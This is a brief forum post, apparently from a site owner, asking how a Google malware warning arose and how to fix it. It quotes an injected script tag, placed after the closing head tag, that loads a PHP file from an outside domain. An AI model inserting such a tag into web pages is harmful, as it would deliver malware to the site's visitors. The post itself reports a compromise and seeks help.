had an email from google today which indicated that my site was a distributer of malware or linked to a site connected to malware. On looking through the code of the pages I can see the following
<script src=http://redspider-systems.com/securitycode/incEditSTLeasingUnit.php ></script>
just after the closing head tag.
Any ideas how this could have happened. Is there an easy way to fix and prevent this occurring?